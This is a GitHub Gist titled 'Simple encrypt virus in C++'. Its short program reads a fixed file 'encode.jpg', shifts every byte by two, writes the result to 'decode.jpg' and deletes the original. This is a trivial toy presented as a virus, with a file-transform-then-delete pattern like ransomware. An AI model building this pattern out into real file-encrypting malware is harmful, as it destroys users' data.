Last active
August 24, 2021 15:38
-
-
Save 18520339/d6d7341550a136ad80e51ce6a0313af5 to your computer and use it in GitHub Desktop.
Simple encrypt virus in C++
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <fstream> | |
using namespace std; | |
int main() { | |
ifstream EncodeFile("encode.jpg", ifstream::binary); | |
ofstream DecodeFile("decode.jpg", ofstream::binary); | |
if (EncodeFile) { | |
EncodeFile.seekg (0, EncodeFile.end); | |
int length = EncodeFile.tellg(); | |
EncodeFile.seekg(0, EncodeFile.beg); | |
char* buffer = new char[length]; | |
EncodeFile.read(buffer, length); | |
for (int i = 0; i < length; ++i) | |
buffer[i] -= 2; | |
DecodeFile.write(buffer, length); | |
delete[] buffer; | |
} | |
EncodeFile.close(); | |
DecodeFile.close(); | |
remove("encode.jpg"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment